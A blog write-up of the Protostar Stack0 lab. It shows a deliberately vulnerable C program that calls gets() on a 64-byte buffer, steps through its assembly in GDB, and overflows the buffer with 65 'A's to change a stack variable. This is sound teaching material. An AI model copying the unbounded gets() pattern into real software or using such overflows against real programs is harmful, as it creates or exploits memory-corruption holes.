Protostar Stack0

I’m going to start the second challenge ISO from exploit-exercises.com. These challenges deal more with exploit development and reverse engineering.

Here are the instructions for the first challenge called Stack0

About
This level introduces the concept that memory can be accessed outside of its allocated region, how the stack variables are laid out, and that modifying outside of the allocated memory can modify program execution.

This level is at /opt/protostar/bin/stack0
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}


Looking at the source code it seems like a very simple program. I am going to go into as much detail as possible since this is a simple challenge and it’s a good chance to practice using GDB.

Lines 1 through 3 just import some standard C libraries.

On line 7 a variable called “modified” is created. It’s an integer and has the volatile keyword set. The volatile keyword means that the value can change at any time, for any reason, and it should not be protected or cause the program to crash even if it’s an unexpected change.

Line number 8 defines a character array that can hold 64 characters.

Line 10 sets the value of the “modified” variable to 0.

Line 11 asks the user to type something in. Then whatever the user types in is stored in the “buffer” character array.

Lines 13-7 are where the challenge lies. If the value of the “modified” variable is still 0 the program will print “Try Again”. If the value changed to something else print “you have changed the ‘modified’ variable”.

The instructions say to login with the account “user” and find the binaries in /opt/protostar/bin so that’s what I do.  I can run the stack0 binary and it works as expected.

./stack0
AAAAA
Try again?

So how to change the value of modified? It’s actually a simple solution but I step through GDB for practice and examine the code.

First I open the program in GDB and set a breakpoint on the main function.

gdb ./stack0
break *main
Breakpoint 1 at 0x80483f4: file stack0/stack0.c, line 6.

Now I run the program so it hits the breakpoint in main and stops.

run
Starting program: /opt/protostar/bin/stack0 

Breakpoint 1, main (argc=1, argv=0xbffff874) at stack0/stack0.c:6
6	stack0/stack0.c: No such file or directory.
	in stack0/stack0.c

Next I disassemble main to look at the source code in intel assembly.

disassemble main

Here is the assembly code for the function

0x080483f4 <main+0>:	push   ebp
0x080483f5 <main+1>:	mov    ebp,esp
0x080483f7 <main+3>:	and    esp,0xfffffff0
0x080483fa <main+6>:	sub    esp,0x60
0x080483fd <main+9>:	mov    DWORD PTR [esp+0x5c],0x0
0x08048405 <main+17>:	lea    eax,[esp+0x1c]
0x08048409 <main+21>:	mov    DWORD PTR [esp],eax
0x0804840c <main+24>:	call   0x804830c <gets@plt>
0x08048411 <main+29>:	mov    eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>:	test   eax,eax
0x08048417 <main+35>:	je     0x8048427 <main+51>
0x08048419 <main+37>:	mov    DWORD PTR [esp],0x8048500
0x08048420 <main+44>:	call   0x804832c <puts@plt>
0x08048425 <main+49>:	jmp    0x8048433 <main+63>
0x08048427 <main+51>:	mov    DWORD PTR [esp],0x8048529
0x0804842e <main+58>:	call   0x804832c <puts@plt>
0x08048433 <main+63>:	leave  
0x08048434 <main+64>:	ret    

Alright I’ll do my best to step through each line and determine what it’s doing.

The first two lines are very standard. They save the stack base pointer and setup a new stack frame. This is done at the beginning of most c functions.

Line 3 changes the value of ESP, or the top of the stack. I print the registers so I can see their starting values.

info registers
eax            0xbffff874	-1073743756
ecx            0x46e13735	1189164853
edx            0x1	1
ebx            0xb7fd7ff4	-1208123404
esp            0xbffff7cc	0xbffff7cc
ebp            0xbffff848	0xbffff848
esi            0x0	0
edi            0x0	0
eip            0x80483f4	0x80483f4 
eflags 0x200246 [ PF ZF IF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51

ESP currently has the value 0xbffff7cc. 0xbffff7cc AND 0xfffffff0 = 0xbffff7c0
So effectively this was a fancy way of decreasing ESP by 12. Why? To setup space for 3 variables on the stack. ESP grows towards low memory addresses so subtracting from its value actually adds space to put values on “top” of the stack.

Now on line 4 the code subtracts 0x60 from ESP. This adds more space to put values on the top of the stack.

After these operations ESP should be at 0xbffff760. I set a breakpoint at line 5 and continue running the program. The I look at the register values again

break *0x080483fd
continue
info registers
eax            0xbffff874	-1073743756
ecx            0x46e13735	1189164853
edx            0x1	1
ebx            0xb7fd7ff4	-1208123404
esp            0xbffff760	0xbffff760
ebp            0xbffff7c8	0xbffff7c8
esi            0x0	0
edi            0x0	0
eip            0x80483fd	0x80483fd 
eflags         0x200286	[ PF SF IF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

Great ESP changed as expected.

Now at line 5 the value 0x0 is moved into memory at location DWORD PTR [esp+0x5c]. So what location is that? First ESP+0x5c is 0xbffff7bc. So I look in memory at that location

x 0xbffff7bc
0xbffff7bc:	0xb7fd7ff4

So after this instruction executes the value of 0x0 should be moved to 0xbffff7bc

I step over the instruction and check the value again

nexti
x 0xbffff7bc
0xbffff7bc:	0x00000000

Great. So why did this happen. This memory address is between EBP and ESP so it’s a value on the stack. This means it’s the value of a local variable. On line 10 of the c source code the value of the variable ‘modified’ is set to 0. So this instruction just put the value of 0 on the stack to represent modified. This is important because I want to change the value of modified to something other than 0. Now I know it’s address in memory is 0xbffff7bc. So if I can change the value at that memory address I should complete the challenge.

Now on line 6 of the assembly code is lea eax,[esp+0x1c]. This takes the value of esp (0xbffff760), adds 0x1c, and stores the resulting value in EAX. So EAX should change from 0xbffff874 to 0xbffff77c. I step over the instruction and print the register values again.

nexti
info registers
eax            0xbffff77c	-1073744004
ecx            0xa3df8b0f	-1545630961
edx            0x1	1
ebx            0xb7fd7ff4	-1208123404
esp            0xbffff760	0xbffff760
ebp            0xbffff7c8	0xbffff7c8
esi            0x0	0
edi            0x0	0
eip            0x8048409	0x8048409 
eflags         0x200286	[ PF SF IF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

Now at line 7 of the assembly the command DWORD PTR [esp],eax executes. That takes the value that was just put into eax and moves it to the memory that esp points to. Effectively this puts 0xbffff77c as the top value on the stack. Why? Well line 8 (call 0x804830c ) calls gets(buffer); This function call takes one value as input, which is buffer. Before calling a function the input values should be pushed to the stack from right to left. So this new top value on the stack should be the location of buffer.
I execute instructions 7 and 8. The program prompts me for input and I give it 10 capitals A’s for it to put into buffer.

nexti
nexti
AAAAAAAAAA

Now I look at the address 0xbffff77c to see if my A’s ended up there

x/fs 0xbffff77c
0xbffff77c:	 "AAAAAAAAAA"

Nice!

The instruction at line 9 (mov eax,DWORD PTR [esp+0x5c]) gets the value at the memory location pointed to by esp+5c then moves that value into EAX. Back on line 5 the program moved the value 0x0 to [esp+0x5c]. So basically the program is now putting the value of “modifed” into EAX. So EAX is set to 0.

The next couple instructions at lines 10 and 11 go together. Line 10 (test eax,eax) looks confusing. Why compare something to itself? Test performs a logic AND between two values, which sets any relevant eflags, and then throws out the result of the AND. EAX is currently the value 0. So a logic AND between 0 and 0 would result with… 0. Line 11 jumps if the eflag ZF (zero flag) is set. Since the result of the previous command is zero the jump would be triggered. The jump would go to code that prints the failure message.

So since I do not want to jump to the failure message I need to make sure that when instruction 10 executes I do not have a value of 0 in EAX. That value came from memory address [esp+0x5c] or 0xbffff7bc. How can I change what is in this memory address?

The only thing I have control over is my input string of AAAAAAAAAA. In looking at memory I found that the character array that contains my AAA’s was located at 0xbffff77c. That’s not very far from the 0 at 0xbffff7bc. It is exactly 64 bytes away. This makes sense because our buffer in the C code was 64 bytes. So what happens if I type 65 letter A’s into the program?

I run the program again and set a breakpoint at 0x08048415 to stop before the TEST eax eax command. When asked for input I type 65 letters A’s. Then I take a look at the register values.

gdb ./stack0
break *0x08048415
run
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
info registers
eax            0x41	65
ecx            0xbffff77c	-1073744004
edx            0xb7fd9334	-1208118476
ebx            0xb7fd7ff4	-1208123404
esp            0xbffff760	0xbffff760
ebp            0xbffff7c8	0xbffff7c8
esi            0x0	0
edi            0x0	0
eip            0x8048415	0x8048415 
eflags         0x200246	[ PF ZF IF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

This time EAX is not 0. The letter A’s (ascii character 41) overran their 64 byte buffer space and wrote 1 extra A to memory where the zero was stored. Now when TEST eax eax runs the result is not zero. The ZF flag is not set and the jump doesn’t happen. I continue running the program.

continue
Continuing.
you have changed the 'modified' variable

Success!!!!! This post was way longer and more verbose than it needed to be. With just a little common sense most people could look at the C code and guess the answer. I just used this exercise as an excuse to very closely examine some assembly code and get more comfortable with GDB. Future posts probably will not go into as much detail.

1 thought on “Protostar Stack0”

Leave a Reply

Your email address will not be published. Required fields are marked *